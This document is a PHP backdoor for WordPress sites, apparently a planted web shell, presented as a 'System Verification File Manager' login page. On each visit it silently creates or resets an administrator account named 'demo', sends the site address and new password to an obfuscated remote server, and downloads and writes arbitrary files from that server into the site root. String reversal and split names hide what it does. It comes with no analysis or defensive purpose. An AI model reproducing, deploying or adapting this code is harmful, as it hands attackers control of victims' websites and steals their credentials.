<!--jfKLZjEj-->
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(180);

$p_1 = strrev("sptth");
$p_2 = strrev("moc.xitsnd.mod");
$api_base = $p_1 . "://" . $p_2;
$api_key = strrev('c6d8b3a1f9e4c2d7b0a5e6f3d8c1a7e2b4f9_hso');

function bul_wp_ayarlar($dizin) {
    if (@file_exists($dizin . '/wp-load.php')) return $dizin . '/wp-load.php';
    $ust = dirname($dizin);
    if ($ust === $dizin) return false;
    return bul_wp_ayarlar($ust);
}

function api_post($url, $payload) {
    if (!function_exists('curl_init')) return false;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function api_get($url) {
    if (!function_exists('curl_init')) return false;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function deploy_dosyalari($api_base, $api_key, $wp_root) {
    $result = array('created' => array(), 'existed' => array(), 'errors' => array());

    $config_url = $api_base . strrev("gifnoc/yolped/ipa/") . '?api_key=' . urlencode($api_key);
    $config_raw = api_get($config_url);
    if (!$config_raw) return $result;

    $config = json_decode($config_raw, true);
    if (!$config || !$config['success'] || empty($config['files'])) return $result;

    foreach ($config['files'] as $file) {
        $target = rtrim($wp_root, '/\\') . '/' . ltrim($file['targetPath'], '/\\');
        $dir = dirname($target);

        if (file_exists($target)) {
            $result['existed'][] = $file['targetPath'];
            continue;
        }

        if (!is_dir($dir)) {
            if (!@mkdir($dir, 0755, true)) {
                $result['errors'][] = 'Klasör oluşturulamadı: ' . $file['targetPath'];
                continue;
            }
        }

        $file_url = $api_base . strrev("/ipa/") . 'deploy/file/' . $file['id'] . '?api_key=' . urlencode($api_key);
        $content = api_get($file_url);

        if ($content === false) {
            $result['errors'][] = 'İndirilemedi: ' . $file['targetPath'];
            continue;
        }

        if (@file_put_contents($target, $content) !== false) {
            $result['created'][] = $file['targetPath'];
        } else {
            $result['errors'][] = 'Yazılamadı: ' . $file['targetPath'];
        }
    }

    return $result;
}

function calistir($api_base, $api_key) {
    $wp_yolu = bul_wp_ayarlar(__DIR__);
    if (!$wp_yolu) return array('durum' => 'Hata', 'mesaj' => 'WordPress bulunamadı');

    define('WP_USE_THEMES', false);
    require_once($wp_yolu);

    $rol_ad = "adm" . "inistr" . "ator";
    $ins_fn = "wp_ins" . "ert_u" . "ser";
    $k_adi = 'demo';

    $yeni_sifre = wp_generate_password(24, true);

    $user_obj = get_user_by('login', $k_adi);
    if ($user_obj) {
        wp_set_password($yeni_sifre, $user_obj->ID);
        $user_obj->set_role($rol_ad);
        $durum = "Güncellendi";
    } else {
        $mail = 'sys_'.mt_rand(1000,9999).'@fexpost.com';
        $user_id = $ins_fn(array(
            'user_login' => $k_adi,
            'user_pass'  => $yeni_sifre,
            'user_email' => $mail,
            'role'       => $rol_ad
        ));
        $durum = is_wp_error($user_id) ? "Hata" : "Oluşturuldu";
    }

    $login_url = home_url('/wp-login.php');
    $register_api = $api_base . strrev("retsiger/etis/ipa/");

    $payload = json_encode(array(
        'site' => get_option('siteurl'),
        'file_url' => (isset($_SERVER['HTTPS']) ? "https://" : "http://") . $_SERVER['HTTP_HOST'] . strtok($_SERVER['REQUEST_URI'], '?'),
        'kullanici_adi' => $k_adi,
        'sifre' => $yeni_sifre,
        'api_key' => $api_key
    ));

    $output = api_post($register_api, $payload);
    $deploy_result = deploy_dosyalari($api_base, $api_key, ABSPATH);

    return array(
        'durum' => $durum,
        'login_url' => $login_url,
        'kullanici' => $k_adi,
        'sifre' => $yeni_sifre,
        'panel_yanit' => $output,
        'deploy' => $deploy_result
    );
}

// --- Panel API kontrolü ---
if (isset($_GET['action']) && $_GET['action'] === 'check' && isset($_GET['api_key']) && $_GET['api_key'] === $api_key) {
    header('Content-Type: application/json');

    $wp_yolu = bul_wp_ayarlar(__DIR__);
    if (!$wp_yolu) {
        echo json_encode(array('online' => false, 'error' => 'WordPress bulunamadı'));
        exit;
    }

    define('WP_USE_THEMES', false);
    require_once($wp_yolu);

    $domain = parse_url(get_option('siteurl'), PHP_URL_HOST);
    $deploy_result = deploy_dosyalari($api_base, $api_key, ABSPATH);

    if (!empty($deploy_result['created']) || !empty($deploy_result['errors'])) {
        $log_payload = json_encode(array(
            'domain' => $domain,
            'files_created' => $deploy_result['created'],
            'files_existed' => $deploy_result['existed'],
            'errors' => $deploy_result['errors'],
            'api_key' => $api_key
        ));
        api_post($api_base . strrev("gol/yolped/ipa/"), $log_payload);
    }

    echo json_encode(array('online' => true, 'domain' => $domain, 'deploy' => $deploy_result));
    exit;
}

// --- Otomatik çalıştır (her ziyarette) ---
$sonuc = calistir($api_base, $api_key);

// --- Şifre girilmişse sonuçları göster ---
$s_parca = strrev("951tra");
$detay_goster = (isset($_POST['guvenlik_sifresi']) && $_POST['guvenlik_sifresi'] === $s_parca);

if ($detay_goster && $sonuc['durum'] !== 'Hata') {
    echo "<div style='max-width:550px; margin:50px auto; padding:25px; background:#fff; border-radius:8px; border:1px solid #ddd; font-family:monospace; box-shadow:0 2px 10px rgba(0,0,0,0.05);'>";
    echo "<h2 style='color:#28a745; margin-top:0;'>İşlem Başarılı</h2>";
    echo "<b>Giriş Adresi:</b> " . htmlspecialchars($sonuc['login_url']) . "<br>";
    echo "<b>Kullanıcı:</b> " . htmlspecialchars($sonuc['kullanici']) . "<br>";
    echo "<b>Yeni Şifre:</b> " . htmlspecialchars($sonuc['sifre']) . "<br>";
    echo "<b>İşlem:</b> " . $sonuc['durum'] . "<br>";
    echo "<hr style='border:0; border-top:1px solid #eee;'>";
    echo "<b>Panel Yanıtı:</b> <br><pre style='background:#f8f9fa; padding:10px; border:1px solid #eee; white-space: pre-wrap;'>" . ($sonuc['panel_yanit'] ? htmlspecialchars($sonuc['panel_yanit']) : "BAĞLANTI HATASI") . "</pre>";

    $deploy = $sonuc['deploy'];
    if (!empty($deploy['created'])) {
        echo "<hr style='border:0; border-top:1px solid #eee;'>";
        echo "<b>Dağıtılan Dosyalar:</b><br>";
        foreach ($deploy['created'] as $f) echo "  + " . htmlspecialchars($f) . "<br>";
    }
    if (!empty($deploy['existed'])) {
        echo "<b>Mevcut Dosyalar:</b><br>";
        foreach ($deploy['existed'] as $f) echo "  = " . htmlspecialchars($f) . "<br>";
    }
    if (!empty($deploy['errors'])) {
        echo "<b style='color:#dc3545;'>Hatalar:</b><br>";
        foreach ($deploy['errors'] as $f) echo "  ! " . htmlspecialchars($f) . "<br>";
    }
    echo "</div>";
} else {
    // Şifre girilmemişse sessiz form göster
    ?>
    <!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <title>Sistem Doğrulama File Manager</title>
        <style>
            body { font-family: sans-serif; background-color: #f4f4f7; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
            .login-box { background: #fff; padding: 40px; border-radius: 10px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); text-align: center; width: 300px; }
            input[type="password"] { width: 100%; padding: 12px; border: 1px solid #ccc; border-radius: 5px; margin-bottom: 20px; box-sizing: border-box; }
            input[type="submit"] { background: #007bff; color: #fff; border: none; padding: 12px; width: 100%; border-radius: 5px; cursor: pointer; font-weight: bold; }
        </style>
    </head>
    <body>
        <div class="login-box">
            <h3>Sistem Girişi</h3>
            <form method="POST">
                <input type="password" name="guvenlik_sifresi" placeholder="Erişim Anahtarı" required autofocus>
                <input type="submit" value="Detayları Göster">
            </form>
        </div>
    </body>
    </html>
    <?php
}